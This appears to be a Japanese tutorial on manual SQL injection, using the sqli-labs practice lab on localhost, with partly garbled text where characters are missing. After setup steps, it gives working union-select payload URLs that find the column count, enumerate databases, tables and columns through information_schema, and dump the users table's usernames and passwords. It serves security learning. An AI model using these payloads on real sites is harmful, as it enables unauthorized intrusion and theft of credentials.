sql手動注入共通手順

11323 ワード

前言
sql注入といえば、SQLコマンドをWebフォームに挿入してドメイン名やページ要求のクエリー文字列を提出したり入力したりすることで、最終的にはサーバをだまして悪意のあるSQLコマンドを実行し、サーバと直接対話することになると信じています.SQL注入が存在する可能性のあるデータベースのタイプは、Mysql、Mssql、Oracle、Postgressなどです.
予備知識
 mysql        ;    sql      ;
 url     :  =‘%20’,   =‘%27’,   =‘%22’,  =‘%23

基本手順
1.          ,        ,     
2.                            
3.        ,  ,           
4.             
5.            
5.         

環境構築
  • window
  • phpStudy
  • sqli-labs
  • apache+php+mysq

  • 1.まずsqli-labsのgithubから環境をダウンロードする
    git clone https://github.com/Audi-1/sqli-labs.git

    2.sqli-labsを解凍し、phpStudioのWWWディレクトリの下にフォルダ全体を配置する
    3.データベースへの接続
      sqli-labs sql-connections     db-creds.inc
                   

    4.ブラウザにURLを入力http://localhost/sqli-labs、ページのsetup/reset Database for labsをクリックして、以下の情報を表示してインストールに成功したことを証明します
    SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:
    
    [*]...................Old database 'SECURITY' purged if exists
    
    [*]...................Creating New database 'SECURITY' successfully
    
    [*]...................Creating New Table 'USERS' successfully
    
    [*]...................Creating New Table 'EMAILS' successfully
    
    [*]...................Creating New Table 'UAGENTS' successfully
    
    [*]...................Creating New Table 'REFERERS' successfully
    
    [*]...................Inserted data correctly into table 'USERS'
    
    [*]...................Inserted data correctly into table 'EMAILS'
    
    [*]...................Old database purged if exists
    
    [*]...................Creating New database successfully
    
    [*]...................Creating New Table 'K18ILD27KN' successfully
    
    [*]...................Inserted data correctly into table 'K18ILD27KN'
    
    [*]...................Inserted secret key 'secret_58X0' into table
    

    less 1-エラーベースGET単一引用符文字型注入
    一般に、エラーベースのブラインド注入とエラー注入があるかどうかを判断するには、以下の方法を用いることができる.
    and 1=1and 1=2 ,   ,   ,   

    単一引用符を入力して、エラーメッセージがあって、注入があることを説明して、単一引用符をフィルタしていません(単一引用符はurlで符号化されます)
    http://127.0.0.1/sqli/Less-1/?id=2%27
    
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
    
            : SELECT * FROM users WHERE id='2'' LIMIT 0,1 (         )

    単一引用符を閉じるには、アノテーション記号を使用して、余分な単一引用符を削除します.
             :
    1. -- '                   
    2. # 

    テーブルの列数(合計フィールド数)の決定
    次にunionプローブコンテンツを採用するため、unionのルールはカラム数が同じでなければ正常に表示できないため、カラム数をプローブし、構造の注入クエリ結果とメタクエリ結果のカラム数がデータ型と同じであることを保証しなければならない.order by 1’は第1列の昇順で並べ替えられ、数字が表す列が存在しない場合はエラーが報告され、何列あるかを検出することができる.
       '4' ,      ,       3 :
      Unknown column '4' in 'order clause'
       sql   :SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1

    フィールドの表示ビットの決定
    ≪表示ビット|Display bit|emdw≫:表のデータの数番目のフィールドは、すべてのクエリー結果がページに表示されるわけではないため、ページに表示されるクエリー結果がどの列の結果であるかを検出する必要があります.Union select 1,2,3-'は、表示された数字によって、それらのフィールドが表示されると判断することができる.
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
      2,3         
    ps:id=-1,  -1       sql         ,       select      

    現在のデータベース情報の取得
    情報を表示できるフィールドは2つしかありません.明らかに後のクエリーデータでは、2つのフィールドが十分ではありません.group_を使用できます.concat()関数(クエリーされた複数行のデータを接続して1つのフィールドに表示できる)database()関数:現在のデータベース名version()を表示する関数:データベースバージョン情報user()を表示する:現在のデータベース接続で使用されているユーザーchar()を返す:各フィールドの内容を区切るために10進数ASCIIコードを文字に変換する
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(database(),version()),3 -- '
      Your Login name:security5.5.53
      Your Password:3
               security,      5.5.53

    すべてのデータベース情報の取得
    Mysqlにはシステムのデータベースinformationがあります.schemaは、すべてのデータベースに関する情報を保存し、このテーブルを使用して注入を完了します.
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),schema_name,char(32)),3 from information_schema.schemata -- '
    
                 information_schema ,security

    Securityデータベースのテーブル情報の取得
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),table_name,char(32)),3 from information_schema.tables where table_schema='security' -- '
      Your Login name: emails , referers , uagents , users 
        Your Password:3
    ps:table_schema= '     '

    usersテーブルのカラムの取得
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '
     Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
     Your Password:3
       sql   :SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1

    データの取得
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '
     Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
     Your Password:3
       sql   :SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '' LIMIT 0,1